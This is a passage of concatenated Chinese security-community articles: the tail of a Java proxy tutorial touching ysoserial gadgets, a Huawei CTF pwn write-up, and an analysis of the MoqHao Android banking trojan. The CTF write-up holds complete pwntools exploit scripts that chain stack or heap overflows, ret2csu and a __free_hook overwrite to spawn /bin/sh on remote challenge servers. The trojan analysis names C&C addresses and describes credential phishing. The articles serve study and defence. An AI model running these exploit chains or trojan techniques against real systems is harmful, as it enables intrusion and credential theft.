System.out.println("房子出租价位有1k-3k"); // 增加新的操作
target.sale(); // 调用Entrust委托类的sale方法
}
}
测试类
// 测试类，生成委托类实例对象，并将该对象传入代理类构造函数中。
public class Test {
// 静态代理使用示例
public static void consumer(Rental subject) {
subject.sale();
}
public static void main(String[] args) {
Rental test = new Entrust();
System.out.println("---使用代理之前---");
consumer(test);
System.out.println("---使用代理之后---");
consumer(new AgentRental(test));
}
}
通过上面的例子，我们可以看见静态代理的优点：
我们可以在不改变Entrust委托类源代码的情况下
,通过AgentRental代理类来修改Entrust委托类的功能，从而实现“代理”操作。在进行代理后，自定义说明房子出租价位有1k-3k的操作方法。
但这个是我们通过代理类进行实现更改的方法，如果当我们需要过多的代理类对委托类进行修改的情况下，则可能出现下图情况:
由此可以我们得知此静态代理的缺点：
当我们的接口类需要增加和删除方式的时候，委托类和代理类都需要更改，不容易维护。
同时如果需要代理多个类的时候，每个委托类都要编写一个代理类，会导致代理类繁多，不好管理。
因为java静态代理是对类进行操作的，我们需要一个个代理类去实现对委托类的更改操作，针对这个情况，我们可以利用动态代理来解决，通过程序运行时自动生成代理类。
## 0x04 java动态代理简介
Java动态代理位于Java.lang.reflect包下，我们一般就仅涉及Java.lang.reflect.Proxy类与InvocationHandler接口,使用其配合反射，完成实现动态代理的操作。
InvocationHandler接口：负责提供调用代理操作。
是由代理对象调用处理器实现的接口，定义了一个invoke()方法，每个代理对象都有一个关联的接口。当代理对象上调用方法时，该方法会被自动转发到InvocationHandler.invoke()方法来进行调用。
Proxy类：负责动态构建代理类
提供四个静态方法来为一组接口动态生成的代理类并返回代理类的实例对象。
getProxyClass(ClassLoader,Class<?>...)：获取指定类加载器和动态代理类对象。
newProxyInstance(ClassLoader,Class<?>[],InvocationHandler)：指定类加载器，一组接口，调用处理器；
isProxyClass(Class<?>)：判断获取的类是否为一个动态代理类;
getInvocationHandler(Object)：获取指定代理类实例查找与它相关联的调用处理器实例;
# 0x05 实现过程
1、使用java.lang.InvocationHandler接口创建自定义调用处理器，由它来实现invoke方法，执行代理函数；
2、使用java.lang.reflect.Proxy类指定一个ClassLoader，一组interface接口和一个InvocationHandler；
3、通过反射机制获得动态代理类的构造方法，其唯一参数类型是调用处理器接口类型；
4、调用java.lang.reflect.Proxy.newProxyInstance()方法，分别传入类加载器，被代理接口，调用处理器；创建动态代理实例对象。
5、通过代理对象调用目标方法；
我们继续使用前面那个例子进行讲解，因为接口类和委托类不用更改，这里就不重复了。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class TestAgent implements InvocationHandler {
// target变量为委托类对象
private Object target;
public TestAgent(Object target) {
this.target = target;
}
// 实现 java.lang.reflect.InvocationHandler.invoke()方法
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 添加自定义的委托逻辑
System.out.println("房子出租价位有1k-3k");
// 调用委托类的方法
Object result = method.invoke(target,args);
return result;
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class test {
public static void main(String[] args) {
// 获取委托类的实例对象
Entrust testEntrust = new Entrust();
// 获取CLassLoader
ClassLoader classLoader = testEntrust .getClass().getClassLoader();
// 获取所有接口
Class[] interfaces = testEntrust .getClass().getInterfaces();
// 获取一个调用处理器
InvocationHandler invocationHandler = new TestAgent(testEntrust);
// 查看生成的代理类
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles","true");
// 创建代理对象
Rental proxy = (Rental) Proxy.newProxyInstance(classLoader,interfaces,invocationHandler);
// 调用代理对象的sayHello()方法
proxy.sale();
}
}
这里我们可以看见我们生成的动态代理类的字节码文件，放置在程序根目录下的com.sun.proxy.$Proxy0.class文件中。
import com.DynamicProxy.Rental;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;
public final class $Proxy0 extends Proxy implements Rental {
// 私有静态构造方法
private static Method m1;
private static Method m2;
private static Method m3;
private static Method m0;
// 获取调用处理器实例对象
public $Proxy0(InvocationHandler var1) throws {
super(var1);
}
public final boolean equals(Object var1) throws {
try {
return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final String toString() throws {
try {
return (String)super.h.invoke(this, m2, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
// 获取调用接口类的sale()方法,转发到调用处理器中的invoke()方法进行处理。
public final void sale() throws {
try {
super.h.invoke(this, m3, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final int hashCode() throws {
try {
return (Integer)super.h.invoke(this, m0, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
// 利用反射进行类初始化，执行static静态代码块中的内容，主要是获取com.DynamicProxy.Rental接口类中的sale方法。
static {
try {
m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
m2 = Class.forName("java.lang.Object").getMethod("toString");
m3 = Class.forName("com.DynamicProxy.Rental").getMethod("sale");
m0 = Class.forName("java.lang.Object").getMethod("hashCode");
} catch (NoSuchMethodException var2) {
throw new NoSuchMethodError(var2.getMessage());
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
}
}
在这里生成的$Proxy0代类中，我们可以清楚知道动态代理的实现过程。实际上我们在创建代理对象时，就是通过通过反射来获取这个类的构造方法，然后来创建的代理实例。
## 0x06 ysoserial示例
在ysoerial工具中，其实基本很多poc或者exp都运用到了jdk代理机制。那么这个ysoerial工具是怎么实现jdk动态代理的呢？其实和ysoserial.payloads.util.Gadgets.createMemoitizedProxy()有关。
CommonsCollections1.java
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
RMIRegistryExploit.java
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
Spring2.java
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
比如这上面这三处payloads和exploit都使用了createMemoitizedProxy来创建代理，跟进查看分析。
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
我们可以对这三个函数进行简单分析下，调用createMemoitizedProxy方法传入一个Map类型对象和多个接口类，然后返回createProxy方法来创建动态代理对象。
createMemoizedInvocationHandler方法传入一个Map类型对象和多个接口类，返回生成自定义调用处理器，实现代理功能。
createProxy方法则是创建动态代理类，并且返回该代理对象实例。
我们将前面的动态代理机制学习和这三个函数进行连接在一起，可以得知就是通过createMemoitizedProxy方法传入一个Map类型对象和多个接口类，然后调用createProxy方法中第一个参数createMemoizedInvocationHandler方法来自定义调用处理器，最后返回createProxy方法创建动态代理类对象。
## 0x07 总结
因为java代理机制概念理解较于简单，所以网上一些java安全讲解很少关于这块内容进行单独文章讲解。但这个知识点却是java漏洞分析中不可缺少，同时对后面RMI和JDNI注入学习也有很大帮助。如果大家对其有更多兴趣的话，还可以去看看其源码深入了解下。
## 0x08 参考链接
<https://blog.csdn.net/huashanlunjian/article/details/84384279>
<https://www.guildhab.top/?p=6593>
<https://blog.csdn.net/JacksonKing/article/details/102974895> | 社区文章 |
# 华为系列CTF PWN WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## HARMOSHELL
这里实现了一个简单的`shell`，反汇编使用`ghrida`。
void main(void)
{
ssize_t cmd_length;
undefined4 extraout_var;
uint *cmd_type;
undefined cmd [257];
init();
do {
std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"$ ",2);
memset(cmd + 1,0,0x100);
cmd_length = read(0,cmd + 1,0x100);
cmd[CONCAT44(extraout_var,cmd_length)] = 0;
cmd_type = (uint *)parseline(cmd + 1);
if (*cmd_type < 7) {
switch(*cmd_type) {
case 0:
touch(*(undefined8 *)(*(longlong *)(cmd_type + 2) + 8));
break;
case 1:
rm(*(undefined8 *)(*(longlong *)(cmd_type + 2) + 8));
break;
case 2:
cat(*(undefined8 *)(*(longlong *)(cmd_type + 2) + 8));
break;
case 3:
ls();
break;
case 4:
echo();
break;
case 6:
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"Invalid command",0xf);
std::endl<char,std::char_traits<char>>((basic_ostream *)std::cout);
case 5:
/* WARNING: Subroutine does not return */
exit(0);
}
}
if (*(void **)(cmd_type + 2) != (void *)0x0) {
operator.delete(*(void **)(cmd_type + 2));
}
operator.delete(cmd_type,0x20);
} while( true );
}
这里模拟了文件的处理，有`touch,rm,cat,ls,echo`五个命令，其中`file`的结构体如下
这里漏洞分析之后也很明显，在`echo`函数中存在一个栈溢出的漏洞
file_list = (file_node **)&gp0xfffffffffffffa60;
while ((file_node = *file_list, file_node == (file_node *)0x0 ||
(iVar2 = strcmp(file_name,(char *)file_node), CONCAT44(extraout_var_01,iVar2) != 0))) {
file_list = file_list + 1;
if (file_list == (file_node **)&gp0xfffffffffffffbe0) {
__nbytes = 0x200;
LAB_00011516:
content_length = read(0,content_buf,__nbytes);
write2file(*(undefined8 *)(*(longlong *)(param_1 + 8) + 0x10),content_buf,
(longlong)content_length,flag);
return;
}
}
__nbytes = *(size_t *)&file_node->file_length;
goto LAB_00011516;
这里可以看到当`file`搜索到列表之后的最后一个的时候会出现读取`0x200`字节，但是`content_buf`的大小只有`0x108`大小。因此这里我们可以造成栈溢出。那么之后如何覆写返回地址呢。这里返回地址虽然是保存在`ra`寄存器中。正常状态下没办法直接覆写，我们看一下溢出时候的函数调用
LAB_00011516 XREF[1]: 0001154a(j)
00011516 8a 85 c.mv a1,sp
00011518 01 45 c.li a0,0x0
0001151a ef f0 7f 8a jal ra,read ssize_t read(int __fd, void * __
0001151e 83 37 8a 00 ld a5,0x8(s4)
00011522 1b 06 05 00 sext.w a2,content_length
00011526 d6 86 c.mv a3,flag
00011528 88 6b c.ld content_length,0x10(a5)
0001152a 8a 85 c.mv a1,sp
0001152c ef f0 7f eb jal ra,write2file undefined write2file(undefined8
00011530 f2 70 c.ldsp ra,0x138(sp) <===========覆写返回地址
00011532 52 74 c.ldsp file_list,0x130(sp)
00011534 b2 74 c.ldsp file_node,0x128(sp)
00011536 12 79 c.ldsp s2,0x120(sp)
00011538 f2 69 c.ldsp file_name,0x118(sp)
0001153a 52 6a c.ldsp s4,0x110(sp)
0001153c b2 6a c.ldsp flag,0x108(sp)
0001153e 31 61 c.addi16sp sp,0x140
00011540 82 80 ret
这里我们看到`ra`寄存器的值首先从`rsp+0x138`的位置读取，因此只要我们覆写到这个位置就能够控制返回地址执行`gadget`。那么到现在就还有一个问题就是`sp`的值是什么。
从`read`函数的调用来看（`c.mv
a1,sp`），执行`read`函数的时候`sp`已经变成了`content_buf`的地址，也就是`sp`恰好就是我们输入内容开始的地方。而`ret`地址之前执行了`add
sp,0x140`，也就是返回地址之后。这里地址的分布就很清楚了。
因此这里我们直接将返回地址覆写为`csu`，利用`ret2csu`执行`puts`泄漏出`libc`基址，之后调用`read`覆写`read.got`为`system.address
+ /bin/sh\x00`。之后再次调用`read`函数，参数为`read.got+0x8`。
# encoding=utf-8
from pwn import *
file_path = "./harmoshell"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
# p = process(['./qemu-riscv64', '-L', "libs", '-g', '1234', file_path])
p = process(['./qemu-riscv64', '-L', "libs",file_path])
# gdb.attach(p)
libc = ELF('libs/lib/libc-2.27.so')
one_gadget = 0x0
else:
p = remote('121.37.222.236', 9999)
libc = ELF('libs/lib/libc-2.27.so')
one_gadget = 0x0
def touch(file):
p.sendlineafter("$ ", "touch " + file)
def echo(file, content):
p.sendlineafter("$ ", "echo >> " + file)
p.send(content)
for i in range(0x30-1):
touch("flag"+str(i))
raw_input()
# 0x00010778 # 2: lw a0, 28(sp)
# 0001182c csu
'''
0001181c 56 86 c.mv a2,s5
0001181e d2 85 c.mv a1,s4
00011820 4e 85 c.mv a0,s3
00011822 85 04 c.addi s1,0x1
00011824 82 97 c.jalr a5=>_INIT_0 undefined _INIT_1()
undefined _INIT_0()
00011826 21 04 c.addi s0,0x8
00011828 e3 19 99 fe bne s2,s1,LAB_0001181a
LAB_0001182c XREF[1]: 0001180e(j)
0001182c e2 70 c.ldsp ra,0x38(sp)
0001182e 42 74 c.ldsp s0,0x30(sp)
00011830 a2 74 c.ldsp s1,0x28(sp)
00011832 02 79 c.ldsp s2,0x20(sp)
00011834 e2 69 c.ldsp s3,0x18(sp)
00011836 42 6a c.ldsp s4,0x10(sp)
00011838 a2 6a c.ldsp s5,0x8(sp)
0001183a 21 61 c.addi16sp sp,0x40
0001183c 82 80 ret
'''
def csu(addr, a0, a1, a2):
p = b"/bin/sh\x00"+p64(a2)+p64(a1)+p64(a0)+p64(1)+p64(0)
p += p64(addr)+p64(csu2)
return p
def csu_j(addr):
p = p64(0)+p64(0)+p64(0)+p64(0)+p64(1)+p64(0)
p += p64(0)+p64(addr)
return p
csu1 = 0x0001182c
csu2 = 0x0001181a
bss = 0x00013340
cout_addr = 0x13118
read_got = 0x13060
stdaddr = 0x13080
read_plt = 0x10dc0
straddr = 0x118e8
ret_addr = 0x114b8
payload = b'a'*(0x138)+p64(csu1)
#print('read:',hex(e.got['']))
payload += csu(stdaddr, cout_addr, read_got, 0x10)
payload += csu(read_got, 0, read_got, 0x10)
payload += csu(read_got, read_got+8, read_got, 0x10)
echo("flag47", payload)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - libc.sym['read']
log.success("libc address is {}".format(hex(libc.address)))
p.send(p64(libc.sym['system'])+b'/bin/sh\x00')
p.interactive()
## HARMOSHELL2
这里和`HARMOSHELL`的二进制相差不大，基本的数据结构相同，但是没有了栈溢出漏洞，漏洞的位置变为了`echo`函数中的`write2file`函数中，也就是向文件中写内容的函数
//echo function
content_buf = get_file_node(lVar1->file_content);
__nbytes = 0x100;
if (-1 < content_buf) {
__nbytes = *(size_t *)(*(longlong *)(&gp0xfffffffffffffa60 + content_buf * 8) + 0x18);
}
content_length = read(0,contentbuf,__nbytes);
write2file(*(undefined8 *)(*(longlong *)(param_1 + 8) + 0x10),contentbuf,(longlong)content_length,
flag);
return;
void write2file(void *input_buf,uint length,longlong flag)
{
file_node *file_node;
longlong lVar1;
void *content_buf;
lVar1 = get_file_node();
if (-1 < lVar1) {
file_node = (file_node *)(&gp0xfffffffffffffa60 + lVar1 * 8);
content_buf = *(void **)(*(longlong *)file_node->file_name + 0x10);
if (flag != 0) {
memcpy((void *)((longlong)content_buf +
*(longlong *)(*(longlong *)file_node->file_name + 0x20)),input_buf,length);
*(ulonglong *)(*(longlong *)file_node->file_name + 0x20) =
(ulonglong)length + *(longlong *)(*(longlong *)file_node->file_name + 0x20);
return;
}
memcpy(content_buf,input_buf,length);
*(ulonglong *)(*(longlong *)file_node->file_name + 0x20) = (ulonglong)length;
}
return;
}
这里可以看到使用`echo >
file`可以对文件可以随意长度的写，没有了`HARMOSHELL`中对长度的检查，因此这里存在堆溢出的漏洞。这里我们可以利用简单的方法，即首先创建多个文件，每个文件的内存范围为`0x30`大小的文件控制结构体和`0x110`大小的存储文件内容的堆块。因此我们可以通过堆溢出控制文件结构体中的`content_buf`。做到任意的内存地址读写。
那么利用思路就很简单了，覆写堆块的`size`释放之后堆块释放到`unsorted
bin`中即可以泄漏出`libc`基址，需要注意的是这里地址中包含`00`，因此这里我采用的是`8`次循环读得到`libc`的基址。接下来就很简单了，直接利用内存任意写覆写`free_hook`为`system`。
# encoding=utf-8
from pwn import *
file_path = "./harmoshell2"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
# p = process(['./qemu-riscv64', '-L', "libs", '-g', '1234', file_path])
p = process(['./qemu-riscv64', '-L', "libs", file_path])
libc = ELF('./libs/lib/libc-2.27.so')
one_gadget = 0x0
else:
p = remote('139.159.132.55', 9999)
libc = ELF('./libs/lib/libc-2.27.so')
one_gadget = 0x0
def touch(file):
p.sendlineafter("$ ", "touch " + file)
def echo(file, content, type=0):
if type:
p.sendlineafter("$ ", "echo > " + file)
else:
p.sendlineafter("$ ", "echo >> " + file)
p.send(content)
def rm(file):
p.sendlineafter("$ ", "rm " + file)
def cat(file):
p.sendlineafter("$ ", "cat " + file)
def ls():
p.sendlineafter("$ ", "ls")
for i in range(9):
touch("flag" + str(i))
raw_input()
echo("flag"+ str(0), b"a"*0x100, 1)
echo("flag"+str(0), b"b"*0x20)
cat("flag" + str(0))
p.recvuntil("b"*0x20)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))
echo("flag"+ str(0), b"a"*0x100, 1)
payload = b"b"*0x8 + p64(0x31) + b"flag1".ljust(0x10, b"\x00")
payload += p64(heap_address + 0x100 + 0x30) + p64(0x100) + p64(0) # flag2 buf - 0x10
echo("flag" + str(0), payload)
echo("flag" + str(1), p64(0) + p64(0x140*4 + 1 - 0x30), 1)
rm("flag" + str(2))
address = b""
for i in range(8):
echo("flag"+ str(0), b"a"*0x100, 1)
payload = b"b"*0x8 + p64(0x31) + b"flag1".ljust(0x10, b"\x00")
payload += p64(heap_address + 0x100 + 0x30 + 0x10 + i) + p64(0x100) + p64(0)
echo("flag" + str(0), payload)
cat("flag" + str(1))
p.recvuntil("Content: ")
res = p.recvline().strip()
print(res)
if len(res) == 0:
address += b"\x00"
else:
address += p8(res[0])
# cat("flag" + str(1))
# p.recvuntil("Content: ")
libc.address = u64(address) - 88 - libc.sym['__malloc_hook'] - 0x10
log.success("leak address is {}".format(hex(u64(address))))
log.success("libc address is {}".format(hex(libc.address)))
print(hex(libc.address - 0x4000801000))
echo("flag"+ str(0), b"a"*0x100, 1)
payload = b"b"*0x8 + p64(0x31) + b"flag1".ljust(0x10, b"\x00")
payload += p64(libc.sym['__free_hook']) + p64(0x100) + p64(0)
echo("flag" + str(0), payload)
echo("flag" + str(1), p64(libc.sym['system']), 1)
echo("flag" + str(4), "/bin/sh\x00")
rm("flag" + str(4))
p.interactive()
## PWNI
undefined4 main(void)
{
undefined auStack264 [256];
setvbuf(stdout,(char *)0x0,2,0);
printf("input: ");
read(0,auStack264,0x300);
return 0;
}
很明显的栈溢出，但是这里是`arm`架构的，并且没有开启`pie`，这里可以直接利用`ret2csu`调用`printf`函数输出`read`函数的地址，泄漏出`libc`基址。
LAB_00010540 XREF[1]: 00010560(j)
00010540 05 00 59 e1 cmp r9,r5
00010544 f0 87 bd 08 ldmiaeq sp!,{r4 r5 r6 r7 r8 r9 r10 pc}
00010548 04 30 94 e4 ldr r3,[r4],#0x4=>->frame_dummy = 10474h
= 1049Ch
0001054c 08 20 a0 e1 cpy r2,r8
00010550 07 10 a0 e1 cpy r1,r7
00010554 06 00 a0 e1 cpy r0,r6
00010558 33 ff 2f e1 blx r3=>frame_dummy undefined frame_dummy()
undefined __do_global_dtors_aux()
0001055c 01 90 89 e2 add r9,r9,#0x1
00010560 f6 ff ff ea b LAB_00010540
泄漏出地址之后，覆写`read
got`为`system`的地址，然后在选一个已知的地址为`/bin/sh`这里使用的是`read.got+0x4`。之后再次执行`read`，参数是`read.got+0x4`。这样就可以`getshell`。
# encoding=utf-8
from pwn import *
file_path = "./bin"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
# p = process(["qemu-arm", "-L", ".",file_path])
p = process(["qemu-arm", "-L", ".", "-g", "1234", file_path])
# gdb.attach(p)
libc = ELF('./lib/libc.so.6')
one_gadget = 0x0
else:
p = remote('139.159.210.220', 9999)
libc = ELF('libc-2.31.so')
one_gadget = 0x0
csu1 = 0x00010540
g1 = 0x00010498
def csu(address, arg1, arg2, arg3):
payload = p32(address) + p32(1) + p32(arg1) + p32(arg2) + p32(arg3)
payload += p32(0)*2 + p32(0x10548)
return payload
raw_input()
payload = b"a"*0x104 + p32(csu1)
payload += csu(elf.got['printf'], elf.got['read'], 1, 2)
payload += csu(elf.got['read'], 0, elf.got['read'], 0x10)
payload += csu(elf.got['read'], elf.got['read'] + 4, 0, 0)
payload = payload.ljust(0x300, b"\x00")
p.sendafter("input: ", payload)
libc.address = u32(p.recv(4)) - libc.sym['read']
log.success("libc address is {}".format(hex(libc.address)))
log.success("read got is {}".format(hex(elf.got['read'])))
log.success("read address is {}".format(hex(libc.sym['read'])))
p.sendline(p32(libc.sym['system']) + b"/bin/sh\x00")
p.interactive() | 社区文章 |
作者：启明星辰ADLab
#### 1、概述
启明星辰AdLab近期追踪到一个新出现的 Android 恶意木马样本，该恶意木马主要通过钓鱼 APP 来窃取用户银行及理财 APP
登录凭证，能够通过创建本地代理来窃取 Google 账户登录凭证，且具备远程控制感染机的能力。依据样本关联分析我们发现，该同类型的样本之前被 Mcafee
披露过（其在8月28日将该银行木马命名为：Android/MoqHao），并且还发现恶意代码背后的黑客早在2013年就开始针对韩国的手机用户进行钓鱼攻击。直到2015年，该黑客组织开始利用伪造的
Chrome 更新消息来进行传播，并且开始利用QQ空间等社交网络账户来配置 C&C
服务器地址。本次启明星辰ADLab追踪到的恶意代码样本为9月中旬的最新样本，该样本利用了百度账户来设置 C&C 服务器，不过 C&C 服务器 IP
进行了加密处理。通过对该恶意代码的分析我们发现其具有如下特点：
1. 通过短信传播。
2. 伪装成 Chrome 浏览器更新欺骗用户下载。
3. 通过 BASE64 编码将恶意 dex 文件隐藏于资源目录。
4. 创建手机代理服务的方式来窃取 Google 账户凭证。
5. 通过百度个人账户来更新 C&C 服务器地址。目前涉及到的攻击者百度账户页面有<http://www.baidu.com/p/dajiahao188384/detail> 和<http://www.baidu.com/p/womenhao183527/detail>，解密后的 C&C 服务器地址为：111.240.228.234:8833。
6. 利用加密的 WebSocket 协议通信。
7. 使用了类似 RPC 的机制来实现远程控制。
8. 替换合法金融类 APP 为钓鱼 APP，窃取登录凭证。
该样本相关信息见表1：
表1 样本相关信息
#### 2、木马行为简介
该恶意木马伪装成 Chrome
浏览器更新包来欺骗用户下载，并且该恶意木马运行后会不断提示用户激活其设备管理员权限（见图1），一旦其设备管理员权限被激活，该恶意木马就隐藏自身的图标。这样，普通用户很难卸载掉该恶意木马，从而使该恶意木马长期驻留在受害用户的设备中。
图1 提示用户激活设备管理员权限
该样本原始包充当了类似壳的角色，真实的恶意 dex 文件被加密保存在原始包的 assets目录下，原始包在运行时解密加载其恶意 dex
文件来实现恶意攻击。解密后的 dex 文件经过了严重的混淆。我们对其深入分析后发现，恶意木马在运行时，通过 Http
请求获取攻击者提前在其百度个人账户页面配置好的加密过的 C&C 服务器地址，请求成功返回后，再对 C&C 服务器进行解密。获取到 C&C
服务器地址后，该恶意木马会使用加密的 WebSocket 协议来和 C&C 服务器通信。值得注意的是，该恶意木马和 C&C 服务器均各自实现了自己的 RPC
函数，通信双方利用这些 RPC 函数来达到数据窃取和远程控制的目的 （示意图见图2）。
图2 恶意木马网络通信图
需要关注的是，该恶意木马会遍历受害用户本机安装的 APP 信息，以确定受害用户是否安装有特定的银行类 APP。如果有的话，该恶意木马就会从 C&C
服务器下载对应的伪装银行木马，待对应的伪装银行木马下载完成后，就提示用户升级。伪装银行木马运行后，会卸载掉受害用户本机原始合法的银行 APP
来偷梁换柱。不难推测，对用户真正的钓鱼活动才刚刚开始。
另外，该恶意木马除了收集受害用户的手机硬件相关信息和手机状态信息，还会窃取受害用户的 Google
账号凭证。与常见的利用远程服务钓鱼页面不同的是，该恶意木马在受感染手机本地开启了一个 Httpserver 服务，并利用该本地服务页面完成对受害用户的
Google 账号凭证钓鱼后，再将其通过 WebSocket 协议转发到 C&C 服务器。该恶意木马的主要行为见图3：
图3 恶意木马的主要行为
#### 3、原始包解密分析
如前所述，该恶意木马真实的恶意 dex 文件被加密保存在原始包的 assets 目录下，其内容是 Base64
后的可见字符（见图4），其原始包只是扮演了壳的角色，原始包在运行时解密加载真实的恶意 dex 文件来实现恶意攻击。我们将 bin 文件 Base64
解密或在该恶意木马运行后，从其安装包路径下的 files 文件下均可得到真实的恶意 dex 文件（见图5）。
图4 加密存放真实的恶意dex文件
图5 真实的恶意dex文件运行时解密到files目录
#### 4、真实攻击逻辑分析
该恶意木马申请的权限如图6所示，其中涉及到的敏感权限包括短信的读写权限、通讯录读取权限、打电话权限、修改手机状态权限等。
图6 恶意木马申请的权限
##### 4.1 注册大量广播，主要用于窃取用户手机状态信息
该恶意木马注册了大量的广播事件，主要用来窃取受害用户手机状态信息，以达到实时监控受害用户手机的目的（见图7）。
图7 恶意木马注册大量广播事件
其中，当用户手机有新的应用安装或卸载、手机电量变化、网络连接改变、屏幕唤醒或休眠等事件发生时，恶意木马就发送受害用户手机状态相关信息到 C&C
服务器。发送的手机状态相关信息包括：运营商名字、网络类型（wifi 还是移动网络）、wifi 的 mac 地址、电量百分比、wifi
信号强度、是否管理员权限、自己是否在休眠白名单中、屏幕是否唤醒、手机情景模式（见图8）。
图8 向 C&C 服务器发送手机状态相关信息
##### 4.2 获取 C&C 服务器地址
该恶意木马利用动态页面来获取和更新 C&C 服务器地址。攻击者将加密后的 C&C 服务器地址配置在申请的百度账户个人简介中，恶意木马在运行时会通过 Http
请求获取对应的页面数据再进行解密。从图9我们可以看到，获取C&C服务器的 Http
请求串也经过了加密处理，我们对其解密后的结果为：<http://www.baidu.com/p/dajiahao188384/detail> 和
<http://www.baidu.com/p/womenhao183527/detail>。
图9 Http 请求的解密和拼凑
另外，通过抓包也可清楚看到该 Http 请求的内容（见图10）。
图10 Http 请求抓包结果
我们在浏览器中访问对应的 Http 请求，可以看到访问的是对应百度账户的个人页面，我们注意到攻击者的账户目前还处于在线状态，个人简介部分即为加密后的 C&C
服务器地址（见图11），我们对其解密后为：111.240.228.234:8833。
图11 攻击者注册的百度账户页面
##### 4.3 窃取用户设备信息和状态信息
恶意木马连接 C&C
服务器成功后，会发送受害用户手机相关信息，包括：android_id、系统版本、手机版本+显示屏参数、是否root、关机状态、sim卡是否处于就绪状态、用户手机号码、IMEI、手机中账户信息（见图12、图13）。除了发送用户手机相关信息，还会再次发送用户手机的相关状态信息（见图14）。
图12 连接 C&C 服务成功后，发送用户手机信息
图13 具体发送的手机信息
图14 发送用户手机当前状态信息
图15是以上通信的日志信息。可以清楚地看到连接的 C&C 服务器地址，连接成功后，更新用户手机状态信息到 C&C 服务器。
图15 更新用户手机状态信息的日志
##### 4.4 通过 C&C 服务器下发命令和回传任务
该恶意木马使用加密的 WebSocket 协议来和 C&C 服务器通信，恶意木马和 C&C 服务器各自实现了自己的 RPC
函数供对方调用（其中图16是恶意木马实现的 RPC 函数），通信双方利用这些RPC函数来达到数据窃取和远程控制的目的。恶意木马实现的 RPC
函数可发送短信（目标地址和内容由 C&C 服务器提供）、锁定用户手机、获取手机通讯录、发送钓鱼信息给手机联系人等（具体见表2）。
图16恶意木马实现的RPC函数
表2 该恶意木马实现的 RPC 函数
图17是该恶意木马和 C&C 服务器通信部分，恶意木马解析 C&C 服务器发送过来的网络数据，执行对应的 RPC 函数，再将函数执行结果返回给 C&C
服务器。
图17 C&C 服务器和恶意木马的通信
同时，该恶意木马也会给 C&C 服务器发送请求指令，分别为：下载指定的 apk 文件、发送钓鱼到的 Google
账户凭证、得到需要更新的包列表、得到标题等显示提示（见表3）。
表3 恶意木马发送给C&C服务器的函数请求
##### 4.5 窃取用户 Google 账户信息
该恶意木马除了收集受害用户的手机硬件相关信息和手机状态信息，还会窃取受害用户的 Google
账户凭证。与常见的利用远程服务器钓鱼页面不同的是，该恶意木马在受感染手机本地开启了一个 Httpserver
服务，并利用该本地服务页面完成对受害用户的账户凭证钓鱼后，再将其通过加密的 WebSocket 协议转发到C&C服务器。在恶意木马筛选出 google
账户后（见图18），会弹出警告对话框，等受害用户点击确定后，恶意木马就会打开浏览器，跳转到自定义的本地钓鱼页面（见图19）。
图18 筛选Google账户
图19 弹出警告窗口
该恶意木马在本地创建 HttpServer 服务，本地 HttpServer 服务启用线程来处理钓鱼到的 Google 账户信息（见图20）。
图20 恶意木马利用本地服务来处理钓鱼到的Google账户信息
恶意木马将钓鱼到的 Google 账户凭证发送到 C&C 服务器（见图21）。
图21 恶意木马将钓鱼到的Google账户凭证信息发送到C&C服务器
##### 4.6 下载伪装银行类 APP
该恶意木马会遍历受害用户本机安装的 APP 信息，以确定受害用户是否安装有特定的银行类 APP。如果有的话，该恶意木马就会从 C&C
服务器下载对应的银行类木马，待对应的木马下载完成后，就提示用户有新的升级。银行类木马运行后，会卸载掉受害用户本机原始合法的 APP
来偷梁换柱。显而易见，对受害用户真正的钓鱼攻击才刚刚开始。
